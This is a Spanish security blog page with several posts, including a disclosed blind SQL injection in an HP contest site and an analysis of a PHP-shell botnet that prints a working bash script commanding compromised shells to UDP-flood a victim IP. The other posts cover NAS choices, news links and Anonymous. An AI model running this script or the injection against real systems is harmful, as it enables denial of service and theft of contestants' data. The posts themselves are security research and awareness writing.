Concursos online, un peligro para nuestros datos

Ultimamente no paran de aparecer concursos online de distintas marcas que nos invitan a participar eligiendo nuevos productos, participar en su promoción o desarrollando sobre sus plataformas.

En general, sobretodo si se trata de grandes empresas en las que podemos tener depositada cierta confianza, no dudamos en participar, pues no hay mucho que hacer y el premio suele ser bastante interesante. Ahora bien, ¿en realidad nos merece la pena la posibilidad de ganar el premio frente a brindarle a estas compañías una gran cantidad de datos personales?

Dejando de lado los términos y condiciones que podamos aceptar cuando vamos a participar en un determinado concurso, me voy a centrar en la seguridad de esos sistemas y la facilidad que pueden tener los delincuentes de acceder a toda la información que contienen.

Disclaimer:

No me hago responsable del uso que pueda darse de la información que se publica a continuación.

Los ejemplos que se van a dar corresponden a concursos ya finalizados por lo que no supone un riesgo para los datos de los concursantes recogidos en los mismos.

Antes de empezar, basta decir que podríamos suponer que al encontrarnos ante empresas de cierto tamaño y visibilidad los concursos gozarían de las medidas de seguridad necesarias para evitar el acceso a los datos o la manipulación de los mismos pero, viendo lo que ocurrió con Sony y todos los fallos 'de libro' que se descubrieron en muchos de sus servicios web, no podemos fiarnos de nadie.

El concurso que voy a poner como ejemplo es el llevado a cabo por HP como promoción de sus impresoras e-print, Generación E-Print. En este concurso se pide a los usuarios que realizen una foto y la envíen a un email de contacto quedando registrada en el sistema y pudiendo ser votada con el objetivo de ganar una de las impresoras (o aparecer en el mural final).

La vulnerabilidad se encontraba en el sistema de voto, siendo ésta un Blind-SQLi. Además, la explotación del mismo era extremadamente sencilla pues era un boolean 'de libro'.

La url afectada era la siguiente:
http://generacioneprint.es/votar.php?id=BSQLi&valor=X

Por lo tanto, era trivial para una persona de moral relajada acceder a la base de datos del concurso y obtener los datos personales de todos los concursantes.

Ahora bien, ¿era posible modificar el resultado del concurso?
Sorprendentemente se podía alterar el resultado de forma trivial, pues no validaban el contenido de la variable 'valor' (correspondiente a la puntuación/estrellas que se le daba a la fotografía) permitiéndonos inyectar el valor que nos interesara (desde aumentar en miles los votos de una fotografía como el reducir el de otras introduciendo un número negativo). Como podemos ver, no había que recurrir a ningún método complejo para ser nosotros los ganadores del concurso.

Cabe destacar que la página del concurso no dispone de ningún email o formulario de contacto, dificultando la notificación de estas vulnerabilidades. Intenté ponerme en contacto a través de Twitter (el que ponían en la página del concurso) pero no hubo respuesta:


A pesar de que haya hablado únicamente de las vulnerabilidades descubiertas en el concurso de HP (por ser el único que no sigue activo), cabe destacar que actualmente todos los concursos con los que me he encontrado (y no son pocos) eran vulnerables a distintos ataques, pudiendo obtener finalmente todos los datos de los concursantes.

Ya para terminar, muchos de los servicios web de estos concursos son realizados por terceros, lo cual sorprende que tengan vulnerabilidades tan 'de libro' (sobre todo teniendo en cuenta lo que habrán cobrado por el desarrollo). Un caso similar al de HP ha ocurrido con Microsoft, aunque en este caso he podido contactar con ellos y lo están solucionando (los demás pertenecían a empresas de otros sectores, como p.e Danone).

----------------------------

Contribución gracias a Luis Delgado

Leer más...

Diario de una botnet

Botnets, por aquí, botnets por allá, uno de los términos al que más se recurre últimamente en la televisión cuando entra por la puerta grande los ataques de Anonymous, pero ¿sabemos como funcionan? ¿conocemos sus efectos en sus objetivos? ¿como se distribuyen entre miembros de un grupo las shells?

Una botnet por definición, es un grupo de máquinas comprometidas o infectadas de alguna forma que en el momento que el atacante y a la vez poseedor de esas máquinas las requiera para realizar un ataque, con solo abrir su panel de administración podrá realizar alguna acción sobre ellas, y en nuestro caso dirigir un ataque hacia su objetivo.

Hay varios tipos de botnets, podemos encontrarlas en equipos de escritorio troyanizados, que siempre ha sido lo más común; otras en las cuales el usuario más que infectado es colaborador, y cede su ancho de banda a un ataque dirigido y distribuido, como en el caso de los ataques DDoS de Anonymous y el ya conocido LOIC; y por último las redes botnets de las que vamos ha hablar hoy, que son las más simples de infectar y recolectar, ya que simplemente hay que subir un PHP a un servidor web comprometido.

En este tipo de redes zombie la infección dura menos ya que si el administrador hace bien su trabajo, detectará rápidamente que su sistema hace cosas que no debería. Como hemos comentado en la introducción, para "tomar" como zombie una maquina hay que comprometerla y subir simplemente un archivo PHP que será accesible desde el exterior, este archivo mediante un método POST, recibe dos datos, una IP víctima y un tiempo de duración del ataque.

Antes de continuar lo correcto es agradecer a @jbyte la información que nos facilitó, gracias a la cual este post está aquí.

En este link de pastebin podemos ver una lista bastante larga de 119 URL's que tienen casi todos una característica en común, tienen un directorio llamado webdav y apuntan a una ruta php. Algunos links todavía "están vivos" y podemos ver algo como esto:

Como podemos ver, sin lugar a dudas un súper jaquer ha sido el creador, fondo negro, letras en color sangre con el nombre del autor para mayor regodeo de su ego y un par de Texbox para recoger información: Host y Time.

Si ponemos algo en las cajas y usamos un proxy web como ZAP podemos ver lo siguiente:

Esta es la petición GET que se le envía a la shell del host infectado

Como podemos ver, es un método GET con los datos que comentamos arriba, en este caso lo lanzamos a localhost solo por probar }:-)

En la red podemos encontrar varios ejemplos de este código en PHP, como por ejemplo este, en la red circulan muchos pero son todos prácticamente iguales.

Por otro lado, como hemos explicado más arriba a pesar de que estos PHP se puedan controlar desde el navegador, la lógica de una botnet es poder controlar todos los equipos infectados desde un mismo programa o panel web, en este otro pastebin podemos ver un ejemplo de un programa escrito en Visual Basic que controlaría los equipos infectados y de esta forma realizar un ataque conjunto contra el objetivo de turno.

Lo correcto, ya que estamos analizando todo, sería comprobar que hace exactamente ese código compilando y ejecutando, pero no me gusta, primero porque las URL se meten en el código fuente, esto me pone malo, además de que en Visual Basic lo más complicado que he hecho es un termómetro, por lo que decidí hacer un pequeño script en bash, (@capi_x gracias por las correcciones), que recibe una IP (víctima), un tiempo de ejecución y una lista de shells, con esto generamos nuestro método POST, siempre mejor que un GET ya que por defecto Apache no recoge logs de este método, y lo enviamos mediante un ncat en el puerto 80 a las URL's e IP's de nuestras maquinas infectadas.

Aquí tenéis el script:

#!/bin/bash

#albondigator 0.1

#$3 -> archivo shells
#$1 -> ip_victima
#$2 -> tiempo

if [ $# -ne 3 ]; then
    echo "Uso -> $0 IP_victima tiempo listaShell"
    exit 1
fi

echo "Comienza la lluvia de albondigas:"
echo "*********************************"
echo

while read line
do 
    ip_shell="${line%%/*}"
    route="/${line#*/}"
    
    #CONSTRUCTOR_POST
    HOST=$ip_shell
    PORT="80"
    WPAGE=$route
    OPT="act=engine&host=$1&time=$2"


    metodo="POST $WPAGE HTTP/1.1\r\nContent-type:application/x-www-form-urlencoded\r\nHost: $HOST\r\n";
    opts="${OPT}\r\n";
    LENGHT=$((${#metodo}+${#opts}+20))
    LENGHT=$(($LENGHT+${#LENGHT}))
    metodo="${metodo}Content-Lenght: ${LENGHT}\r\n\r\n";
    POST_FINAL="${metodo}${opts}"

    # CONNECT
    echo -e "$POST_FINAL" | ncat -i 1 -w 1 -d 1 --send-only $HOST $PORT >/dev/null 2>/dev/null

    echo -e "$ip_shell"

done < $3

Y ahora para entender mejor en que acaba todo esto, he hecho un ataque masivo de muy poco tiempo sobre una maquina bajo mi control en la cual puedo controlar las estadísticas de red para que nos hagamos una idea de lo que "pasa por dentro" y la cantidad de datos que se reciben en tan poco tiempo, siempre claro dependiendo de la cantidad de maquinas zombie que tengamos en nuestro control y del ancho de banda disponible. Recordemos que un ataque flood UDP consiste en generar grandes cantidades de paquetes UDP de gran tamaño y bombardear la maquina objetivo consumiendo su ancho de banda y su CPU. Según el ancho de banda de cada víctima la cantidad de datos enviados para sobrecargar el objetivo puede variar, pero podemos enviar desde una sola maquina mas de 500Mb en 10 segundos, esta es la "ventaja" de infectar maquinas que están expuestas en internet y es que contamos con el ancho de banda del proveedor de hosting que en la mayoría de los casos es bastante elevado, a diferencia de un ataque desde nuestra maquina local tipo LOIC en el que contamos con un pésimo ancho de banda.

¿Y funcionó nuestro DDoS? Aquí podemos ver los datos del ataque, primero la sobrecarga de la CPU y en la segunda captura el trafico de red:

Esta es la gráfica de la carga de la CPU

Aquí tenemos la gráfica de la carga de red

Como se puede observar la prueba de concepto ha sido un éxito y se realizo el DDoS correctamente llegando a dejar sin servicio la maquina objetivo, aumentando el tráfico de red de una forma abismal y manteniendo durante el ataque entre 1 y 2 Mbps y la CPU llegando al 100%.

Explicado todo esto, llegaríamos a la recta final del post mostrando este link de Operation Payback y un leak de su lista de shell (AnonOps shell list leaked). Si nos fijamos en las URL's de las shells de AnonOps (que día tras día crece más) podemos ver que se parecen bastante en el formato a las mostradas en el pastebin que mostramos al inicio del post con el famoso directorio webdav ¿será este el nuevo procedimiento de actuación de Anonymous? Pues vamos a cruzar las URL's y las IP's a ver si hay coincidencia.

Primero extraemos las IP's y las URL's de las dos listas:

Y posteriormente cruzamos los resultados a la espera de coincidencias:

Como podemos ver existen coincidencias!!!! Podríamos decir que estamos en el camino correcto y que efectivamente las shells iniciales de pastebin coinciden con las de Anonymous. Tenemos que tener en cuenta, como decíamos al principio del post, de que se trata de una lista que es muy dinámica y que puede variar mucho, también, muchas de las shell que se encontraban en el link de Opertation Payback están repetidas, pertenecen a dominios con la misma IP o ya son inexistentes.

Y ya llegamos al final del post, igual es conveniente que de un consejo final como hacia Popeye el Marino: Que por internet encontremos leaks de este tipo y podamos analizarlos es una suerte, por varias razones si nos gusta la seguridad. Pero desde luego una de ellas es analizar la forma de actuar y darse cuenta de que es una chapuza, un flood UDP en PHP no son muchas lineas, y si has conseguido comprometer un servidor lo más recomendable sería modificar un PHP licito de la web y añadir al final del mismo las lineas que hacen el ataque con sus parámetros correspondientes, nada de entornos gráficos con información, por otro lado, hacer un programita en Visual Basic en el cual la lista de shells se encuentra en el código fuente es bastante contraproducente, no solo desde el punto de vista de la programación, sino porque una lista de shells es una información muy dinámica y que es muy fácil de que en unas pocas horas varíen. ¿Nos se os queda la sensación de lo sencillo que es atacar cualquier web? A mi si.

--------------------------------

Contribución gracias a Dani Martinez

Leer más...

Análisis de equipos NAS comerciales y libres

El verano es la época del año en la que, por contar con más tiempo libre, solemos aprovechar para hacer un flush a aquellas tareas que suelen encontrarse en los To Do de cada uno. Que si pintar la casa, ordenar los armarios, organizar la colección de discos, de libros, de sellos, etc… o en caso de un informático, migrar el servidor de versión de sistema operativo o de darle una pensada a cómo mejorar la red de casa.

En mi caso ha tocado cambiar la máquina que tenía con CentOS 4.X a CentOS 6 en un equipo más moderno. Además he decidido unificar todos los contenidos que tengo en discos duros, DVDs y CDs sueltos a un sistema centralizado y compartido de almacenamiento: un NAS o Network-Attached Storage.

Ya hemos hablado en SbD sobre buenas prácticas para garantizar la diponibilidad de un sistema y por supuesto, hacer backups es algo que a todos, en más de una ocasión, nos ha hecho resoplar de tranquilidad tras una hecatombe. En el caso de los NAS, su utilidad está clara. Aparte de ofrecer espacio de almacenamiento masivo para contenidos digitales, puede ser utilizado para guardar remotamente nuestros backups, ya sean copias frías, incrementales, diferenciales o simplemente como repositorios de gran capacidad para redundar nuestros datos.

Buscando por diferentes tiendas en Internet, la oferta es muy variada: desde equipos de una sola bahía, más bien considerados discos duros de red, hasta "filers" de varias bahías. Para un uso casero, suele ser suficiente un equipo con un par de bahías capaz de de expandirse hasta unos 3 ó 4 TB. Estos dispositivos, suelen distinguirse por su sencillez, formados por una placa base y un procesador de muy bajo consumo, así como poca memoria RAM. Pensemos que la idea es tener un equipo disponible 24x7 para poder servir películas o música (por supuesto todo comprado legalmente, faltaría más!) a través de la red de casa.

Los fabricantes más reputados de este tipo de equipos para el mercado SOHO, por lo que he visto, son Synology, QNAP y Thecus, ditinguiéndose estos por proporcionar, además de recursos de almacenamiento, otro tipo de servicios como clientes P2P, servidores web y hasta de base de datos, así como cuidadas interfaces de configuración, en equipos de bajo consumo y sonoridad, si se comparan con PCs convencionales. Si bien éstos suelen ser más caros (desde unos 200 euros sin discos), comparados con los que encontramos en la siguiente línea: D-Link o Netgear, que tienen menos funcionalidades, pero cumplen con el objetivo de compartir recursos de almacenamiento a través de una red. Éstos son más baratos (desde unos 90 euros) y por lo que he leído, la sensación es de ser más "plasticoso" o peor calidad, así como un rendimiento bastante más bajo en las comparativas. La causa de este "bajo" rendimiento suele ser los procesadores Atom de entre 500-800 Mhz y 64-128 MB de RAM en los NAS de gama más baja o "algo mejor" con los procesadores de 1,2 Ghz y 256 MB de RAM de los de primera división.

En mi caso que soy bastante meticuloso, tanto con rendimiento, ruido, posibilidades de expansión y en una buena medida también el consumo del dispositivo, he decidido crear mi propio NAS re-aprovechando el equipo Core 2 Duo con 4 GB de RAM que en el que tenía el anterior servidor. Sinceramente, lo primero que se me ocurrió fue, instalo una distribución mínima de Linux, quito todos los servicios que no voy a utilizar, monto SAMBA y a correr. Sin embargo, encontré varios proyectos libres pensados y diseñados para ofrecer el servicio de NAS. Los dos más conocidos que te permiten montar tu propio NAS son FreeNAS y Openfiler.

Para mis pruebas, descargué las imágenes de instalación de ambas soluciones y creé dos máquinas virtuales en Parallels para Mac. Cada máquina virtual tiene un disco de instalación de sistema operativo de NAS (el tamaño depende de la solución a probar) y tres discos de 1 GB cada uno para definir "recursos compartidos". Aquí os cuento mis conclusiones de ambas.

FreeNAS 8

• Basado en FreeBSD
• Se instala en Compact Flash o pendrive USB (se puede instalar en un disco, pero ocupa poco y el resto del disco no puede utilizarse para almacenar datos), consumiendo muy pocos recursos.
• Kernel muy optimizado y se nota muy ágil.
• Se crean volúmenes en base a discos físicos y se configura el tipo de sistema de ficheros UFS o ZFS, con posibilidades de Mirroring, Stripping y/o RAID-Z
• Creación de recursos compartidos como Apple (AFP), UNIX (NFS) y Windows (CIFS).
• Excelente compatibilidad con Time Machine de Apple. Si bien es verdad, echo de menos poder definir un límite de tamaño máximo para un recurso definido. He leido que hay que hacerlo a nivel de sistema de ficheros en /etc/fstab configurando un tamaño máximo por cada usuario.
• Permite configurar interfaces bonding o teaming, de manera que se pueda hacer LAGG (Link AGGregation), permitiendo aumentar el ancho de banda disponible y además mejoramos la tolerancia a fallos en caso que un interfaz de red o un cable falle.
• Excelente interfaz de administración web. Muy buenas capacidades de gestión de permisos, usuarios y grupos. Asimismo, permite de una forma fácil el exportar/importar la configuración global del sistema. Muestra en un dashboard diferentes estadísticas de ocupación de CPU, memoria y disco de la máquina.

• Permite integración con repositorios externos de usuarios: LDAP o Directorio Activo. De esta manera se puede otorgar permisos de lectura/escritura a usuarios y grupos que pertenecen a repositorios externos, sin tener que definir usuarios locales.
• Servicios añadidos como SNMP y SMART para monitorización y notificación mediante traps de alarmas producidas por el sistema a un servidor SNMP (y permitir consultas bastante detalladas del estado del sistema), así como tests SMART a los discos, notificando (se supone) en caso de fallo.
• Existe una aplicación para iPhone llamada mFreeNAS que es válida, al menos para FreeNAS 7. Desconozco si para FreeNAS 8 seguirá siendo compatible.

Openfiler

• Basado en Linux, yo diría que la última versión deriva de RHEL/CentOS 6 (por  el kernel 2.6.32-71.18.1.el6) y la forma típica de arranque de CentOS/RHEL/Fedora.
• Se puede instalar en uno de los discos integrados en la máquina y compartir el resto.
• Requiere al menos 8 GB de tamaño en disco para el sistema operativo y 2 GB para Swap. Hay alternativas de sistemas Linux más reducidos. 
• En Parallels, donde yo hice mis primeras pruebas, (estoy en Portugal de vacaciones y no tengo acceso a pruebas con máquinas físicas), no me detecta los discos definidos para los volúmenes. Inicialmente los definí como SATA y no los reconocía. Luego probé como SCSI y tampoco. Posiblemente sea algún problema en la emulación.
• He buscado referencias para configurar recursos AFP a compartir en sistemas operativos Apple, pero los resultados han sido que se iba a incluir en el roadmap, pero luego se desestimó el hacerlo. Para mí esto es un show stopper y paré de mirar. Realmente FreeNAS ya cumple mis espectativas suficientemente.

Conclusiones: 

• Está bien claro, en mi caso, probaré con FreeNAS. Me ha dado el mejor feeling hasta ahora.
• Utilizaré la máquina que tenía anteriormente: Un Intel Core 2 Duo a 1,8 Ghz y 4 GB RAM con tarjeta de red Gigabit. Tengo claro que por problemas de rendimiento no va a ser. Monitorizaré el consumo con la factura de la luz y en caso que éste se dispare o que el ruido del ventilador de la máquina se escuche demasiado, me plantearé la compra de un barebone con mecanismos de refrigeración pasiva y con un menor consumo/potencia (Una vez movidos todos los datos, no será tanta la necesidad de procesamiento).
• Entre comprar un NAS ya hecho y hacértelo a tu gusto, además hay que contar como punto positivo que en caso de que la capacidad de los discos SATA que dispongo no sean suficientes, aún quedan otras dos interfaces SATA en la placa base para añadir más discos y definir nuevos volúmenes y recursos compartidos.

Leer más...

Enlaces de la SECmana - 84

• Primer programa de Mundo Hacker TV en Telecinco, "El cibercrimen", con nuestro compañero Yago Jesús.
• Tras su presentación en la sección de herramientas (Tools Arsenal) de BlackHat 2011, liberado wfuzz 2.0 de Christian Martorella, herramienta para realizar fuerza bruta para el descubrimiento de recursos en aplicaciones web.
• Interesante artículo de VentureBeat en el que se aprecian, en forma de fotografías, las diferencias culturales entre los asistentes a Defcon y BlackHat.
• En CyberHades nos recopilan todas las presentaciones de la Defcon 19 para su descarga.
• El TeaMp0ison hackea el blog oficial de BlackBerry por su colaboración con las fuerzas de seguridad y operadores de telecomunicaciones en los altercados de Londres de esta semana.
• Un grupo llamado Noria, se infiltra en el correo electrónico de Anders Breivik Behring, que asesinó a 70 personas en Noruega. También accedieron a su cuenta de twitter (suponemos que pudieron realizar una recuperación de contraseña al contar ya con acceso a su correo).
• De todo el conjunto de parches publicadas por Microsoft este pasado martes, destacamos una vulnerabilidad en el servicio DNS que podría permitir la ejecución de código remota, correspondiente con el boletín MS11-058
• Un mensaje en la lista de Full-Disclosure alerta de una posible operación llevada a cabo contra los asistentes de la pasada Defcon 19, en la cual se podrían haber realizado ataques de man-in-the-middle sobre redes CDMA y 4G, así como la explotación de los dispositivos.
• Crean la página shadyratchecker.com, para comprobar si pertenecemos a alguna de las compañías que pudieran ser victimas de la operación Shady RAT y que pudieran haberse comunicado con el servicio de control descubierto.
• Esta semana también se ha celebrado la Chaos Communication Camp 2011, el campamento hacker de verano por excelencia, y nos ha dejado varios titulares. Entre ellos destaca la investigación de Karsten Nohl para monitorizar conversaciones telefónicas explotando las debilidades de la tecnología.
• Sustituyendo ficheros que aparentemente se llaman igual (a simple vista) mediante Unicode. Tras la recepción de una muestra de un troyano, el centro de protección frente a Malware de Microsoft analizó dicho malware comprobando que creaba un fichero hosts (para la redirección de nombres a IPs en concreto) alternativo.
• Material publicado de la HackInParis que tuvo lugar entre el 14 y el 17 de Junio de 2011.
• Resumen de nuevos proyectos propuestos para la comunidad OWASP, así como los que ya se encuentran en curso.
• Solución homebrew (requiere jailbreak) llamada isslfix, para la vulnerabilidad SSL que afecta al sistema operativo iOS y que se soluciona con la actualización 4.3.5 del sistema operativo.
• Publicados más videos de la RootedCON, del tercer día (5 de marzo), que incluyen las propuestas de RootedForge, y los videos de las charlas de Marisol Salanova (Seguridad Informática y Cibersexo) y Hernan Ochoa (WCE Internals).

Leer más...

How to: Eliminar resultados en búsquedas Google

Desde hace ya un tiempo, Google ha dejado de ser ese buscador mágico que acertaba siempre cuando buscábamos algo, y ha pasado a convertirse en algo similar a ese mal imitador que le ha salido a Chema Alonso en la Sexta con un ratio de acierto, en ocasiones, bastante bajo. No es culpa suya, a base de tanto SEO de dudosa calidad y de un afán desmedido por conseguir visitas, buscar en Google puede llegar a ser desesperante.

A mi particularmente, como diría Enrique Bunbury, me enferma y me vacía estar buscando algo como 'Perl WMI' y terminar en experts-exchange y su 'regístrate para ver la solución' o directamente en un foro de Visual Basic.

A eso hay que sumar que cuando buscas cosas mas típicas, es casi inevitable caer en webs-timo o webs maliciosas que 'ofrecen' todo tipo de malware, especialmente falsos antivirus. Pensando en la forma de combatir eso, he localizado una extensión para Google Chrome (hecha desde el propio Google) que permite anular un sitio web para que no vuelva a aparecer en las búsquedas. Adicionalmente, se supone que Google investiga estos bloqueos y si la cantidad de gente que bloquea es alta, penaliza los sitios reportados.

La extensión, llamada 'Personal Blocklist', se puede descargar desde aquí y es realmente fácil de utilizar. Una vez instalada, al realizar una búsqueda, junto con cada resultado aparece la opción de bloquear ese sitio

Podemos gestionar de una forma fácil la lista de sitios que tenemos bloqueados con una sencilla e intuitiva interface

 

Lamentablemente no he encontrado nada similar para Firefox, tan solo una extensión cuyos desarrolladores se plantean descontinuar, y un script para greasemonkey

Leer más...

Vuestros "ETHERNET EXPOSED" - III

Llega el verano, y con él, la posibilidad de visitar lugares en los que no hayamos estado anteriormente, o que podamos disponer de más tiempo para "investigar" en otros lugares con mayor tranquilidad. Por ello, os animamos a que si de repente veis en una pared una cajita con posibilidad de enchufar un cable de red, ¡haced una foto y enviádnosla!

Hoy os traemos dos nuevas instantáneas, de lugares normales y corrientes, en los que se han podido divisar dos ETHERNET EXPOSED y como siempre decimos, un nuevo mundo al otro lado.

En primer lugar, nuestro asiduo lector Borja Berastegui, nos envía una foto realizada en un lugar a los que tenemos que asistir para renovar algún que otro documento y siempre es necesario solicitar una cita previa. La foto es más que curiosa, ya que como podréis ver, hay más de un ETHERNET EXPOSED en el que podríamos engancharnos, aún resultando un sitio un poco...hostil:

A esta foto le pega la frase de Mortal Kombat "Choose your destiny" ¿verdad? Un buffet de conexiones en toda regla. Borja nos comenta que es algo que se encontró nada más entrar al lugar, esto no se trata de una oficina con acceso restringido ni nada...Como última curiosidad sobre este lugar, decir que no es la primera foto (ni será la última seguro) realizada en este tipo de sitios, y con un ETHERNET EXPOSED tan a nuestra mano.

Seguimos con más contribuciones, la siguiente de uno de nuestros compañeros, Alberto, que se percató de los siguientes ETHERNET EXPOSED en un centro de rehabilitación. En primer lugar, uno para el que igual habría que ser un poco ninja (o tener sillas o escaleras de mano), pero que no deja de estar al alcance de cualquiera y al descubierto:

La siguiente nos queda mucho más a mano:

Os seguimos animando a que nos enviéis vuestras fotos, pero no de chiringuitos o de vuestras vacaciones, si no de más lugares en los que hayáis divisado un ETHERNET EXPOSED y queráis compartir con nosotros. ¡Ya sabéis dónde encontrarnos!

---------------

[+] ETHERNET EXPOSED: Encuentra tomas de red al descubierto
[+] Vuestros "ETHERNET EXPOSED" - I
[+] Vuestros "ETHERNET EXPOSED" - II
[+] Vuestros "ETHERNET EXPOSED" - III
[+] Vuestros "ETHERNET EXPOSED" - IV
[+] Vuestros "ETHERNET EXPOSED" - V

Leer más...

#opfacebook Anonymous contra Facebook ¿Quién ganará?

¿Qué pasa cuándo el puño más duro del mundo se enfrenta al escudo más resistente del mundo? A aquellos que veíais Los Caballeros del Zodiaco siendo niños (y no tan niños), se os habrá dibujado una sonrisa en la cara.

Pues parece ser que en Otoño, vamos a poder ser testigos de una demostración práctica del misterio del puño y el escudo del Dragón.

Facebook, la red social en la que todo el Mundo tiene una cuenta, tiene las horas contadas. Así es, el día 5 de Noviembre es el elegido para destruir Facebook.

Y es que la red social, capaz de permitirnos estar en contacto con amigos de todas las etapas de nuestra vida, así como de consumir gran parte de nuestro valioso tiempo, e incluso generar montones de nuevos casos de addición diariamente, le ha tocado las… le ha entrado por el ojo incorrecto al colectivo Anonymous.

El detonante que ha hecho encender la mecha de la ira de Anonymous ha sido que Facebook ha comenzado a cerrar perfiles y cuentas de grupo de éstos. Asimismo, las "políticas de privacidad de datos" de Facebook (ah, ¿pero Facebook respeta la privacidad de los datos?), así como la supuesta cesión o venta de datos privados por parte de Facebook a entidades gubernamentales, ha contribuido a convocar un hito histórico: Destruir Facebook.

Ya sé que suena a película, de hecho, hasta la fecha elegida para el acto, lo es!

En la película "V de Vendetta", se podía ver a un revolucionario en un supuesto Reino Unido controlado que pretendía atentar en el Parlamento Británico mediante un tren cargado de explosivos. En dicha película, el individuo protegía su anonimato con la popular máscara de Guy Fawkes, rememorando que éste útimo también atentó contra el Parlamento Británico en 1605. En ambos casos, la fecha elegida para el complot de la pólvora era el 5 de Noviembre.

Ahora la pregunta del millón: ¿Cómo piensa Anonymous cepillarse Facebook? ¿Se trata de generar un DDoS una vez más?

La herramienta utilizada para estos fines era LOIC. Actualmente Anonymous cuenta una nueva herramienta, llamada #RefRef, que utilizando Javascript y SQL, es capaz de dejar sin servicio algunos sitios web en pocos segundos. Evidentemente, para que esta herramienta sea efectiva, los sitios web objetivos deben tener cierta vulnerabilidad explotable. De hecho, el sitio Pastebin, ya quedó fuera de combate después de ejecutarse la nueva herramienta durante 17 segundos. Los detalles del funcionamiento de dicha herramienta, deben tener que ver, además de efectuar una gran cantidad de peticiones lícitas por segundo, con alguna vulnerabilidad SQL que permite consultas excesivamente pesadas, y que de forma recurrente y concurrente, desborde la capacidad de los servidores de bases de datos de backend y por tanto, derive en una denegación de servicio.

Ya hemos comentado varias veces que generar un DDoS a según qué infraestructuras no es algo trivial. Incluso a Anonymous (y a no tan anonymous) les resultó imposible "tumbar" la web del PSOE, mediante LOIC, en una de las votaciones para aprobar la ley Sinde, gracias a estar cacheada por Akamai

El tráfico manejado por Facebook diariamente, que sin saber las cifras reales, supongo que debe ser suficiente como para provocar un DDoS a prácticamente cualquier organización, permite adivinar que la infraestructura necesaria para un correcto funcionamiento debe ser el sueño o la pesadilla de un administrador de redes. Así pues, la pregunta de qué cantidad de ancho de banda y/o número de peticiones es necesario para mellar el rendimiento de Facebook, lo sabremos, a modo Record Guiness a partir del 6 de Noviembre.

Sin embargo, el mensaje publicado por Anonymous es que van a "destruir Facebook". Tumbarlo por unas horas, aparte de aumentar la productividad de ciertos trabajadores (¿verdad Susana?), que no les quedaría otra cosa mejor que hacer que serían más productivos, generaría un gran impacto mediático y quedaría en una curiosa historia, pero nada más. Lo preocupante es realmente que Anonymous lo planea DESTRUIR. "Los datos de sus usuarios serán borrados, aunque Facebook los recuperará después". Esto, parece ser que no se trata de un DDoS ya sea con LOIC o #Refref, sino de algo más gordo. ¿Habrán encontrado una vulnerabilidad lo suficientemente crítica que les permita borrar los Petabytes y petabytes que conforman Facebook? ¿Cuánto se tarda en hacer ese gran "rm -rf" o será un "Delete from users"? ¿Se tratará de algún fallo que permita generar bajas de todos los usuarios en cascada? Tendría sentido en ese caso el decir que tirando de backup, Facebook repondrá la información: Recordad que Facebook y su "des-política de des-privacidad" impide que cuando te das de baja se borren tus datos, sino que los guarda por si vuelves.

En cualquier caso, aventurarse a predecir el fin del Mundo (al menos del Mundo Facebook) y ponerle una fecha determinada, basándose en una vulnerabilidad encontrada en Agosto, para ser explotada el día 5 de Noviembre, faltando aún unos 4 meses, también me parecería cuanto menos aventurado, máxime teniendo en cuenta que Facebook es de las empresas que mantiene un programa de gratificaciones para aquellos que encuentren y reporten vulnerabilidades. Si yo fuera Facebook, empezaría pidiéndoles los logs del servidor web a los administradores de PasteBin para decidir si hacer o no el testamento.

Por si acaso el día 4 de Noviembre, me despediré de todos mis contactos Facebook, y si finalmente eso pasa, tendré la excusa para aceptar la invitación a Google+ que aún está en mi lista de To Do. 

Si al final, esta campaña se trata de un deseo, una realidad, un órdago, o una estrategia de márketing de Google, como decía un tío mío, "El tiempo lo dirá".

Leer más...